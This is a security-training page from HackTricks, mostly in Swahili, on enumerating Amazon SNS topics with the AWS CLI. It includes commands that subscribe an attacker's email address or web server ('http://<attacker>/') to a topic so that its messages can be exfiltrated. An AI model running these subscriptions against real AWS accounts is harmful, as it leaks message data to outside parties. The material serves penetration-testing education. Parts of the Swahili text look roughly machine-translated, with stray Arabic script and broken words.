AWS - SNS Enum

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) in وصف kama huduma ya ujumbe inayosimamiwa kikamilifu. Inasaidia aina za mawasiliano kutoka programu hadi programu (A2A) na kutoka programu hadi mtu (A2P).

Vipengele muhimu kwa mawasiliano ya A2A ni pamoja na mekanismu za kuchapisha/kujiunga (pub/sub). Mekanismu hizi zinaanzisha mada, muhimu kwa kuwezesha ujumbe wa kuwasilisha kwa wingi, unaotegemea kusukuma, wa wengi kwa wengi. Kipengele hiki ni cha faida sana katika hali zinazohusisha mifumo iliyosambazwa, huduma ndogo, na usanifu wa seva zisizo na matukio. Kwa kutumia mada hizi, mifumo ya wachapishaji inaweza kusambaza ujumbe kwa ufanisi kwa mifumo mbalimbali ya wapokeaji, ikirahisisha muundo wa ujumbe wa fanout.

Tofauti na SQS

SQS ni huduma inayotegemea foleni inayoruhusu mawasiliano ya pointi hadi pointi, kuhakikisha kwamba ujumbe unachakatwa na mpokeaji mmoja. Inatoa usambazaji angalau mara moja, inasaidia foleni za kawaida na FIFO, na inaruhusu uhifadhi wa ujumbe kwa ajili ya kurudi na usindikaji wa kucheleweshwa.
Kwa upande mwingine, SNS ni huduma inayotegemea kuchapisha/kujiunga, ikiruhusu mawasiliano moja hadi wengi kwa kutangaza ujumbe kwa wapokeaji wengi kwa wakati mmoja. Inasaidia nukuu mbalimbali za kujiunga kama barua pepe, SMS, kazi za Lambda, na HTTP/HTTPS, na inatoa mekanismu za kuchuja kwa usambazaji wa ujumbe wa lengo.
Ingawa huduma zote mbili zinawezesha kutenganisha kati ya vipengele katika mifumo iliyosambazwa, SQS inazingatia mawasiliano ya foleni, na SNS inasisitiza muundo wa mawasiliano ya matukio, fan-out.

Enumeration

bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

caution

Kumbuka kwamba ikiwa mada ni ya aina ya FIFO, ni wanachama pekee wanaotumia itifaki SQS wanaweza kutumika (HTTP au HTTPS haiwezi kutumika).

Pia, hata kama --topic-arn ina eneo hakikisha unataja eneo sahihi katika --region au utapata kosa linaloashiria kwamba huna uf access lakini tatizo ni eneo.

Unauthenticated Access

AWS - SNS Unauthenticated Enum

Privilege Escalation

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Persistence

AWS - SNS Persistence

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks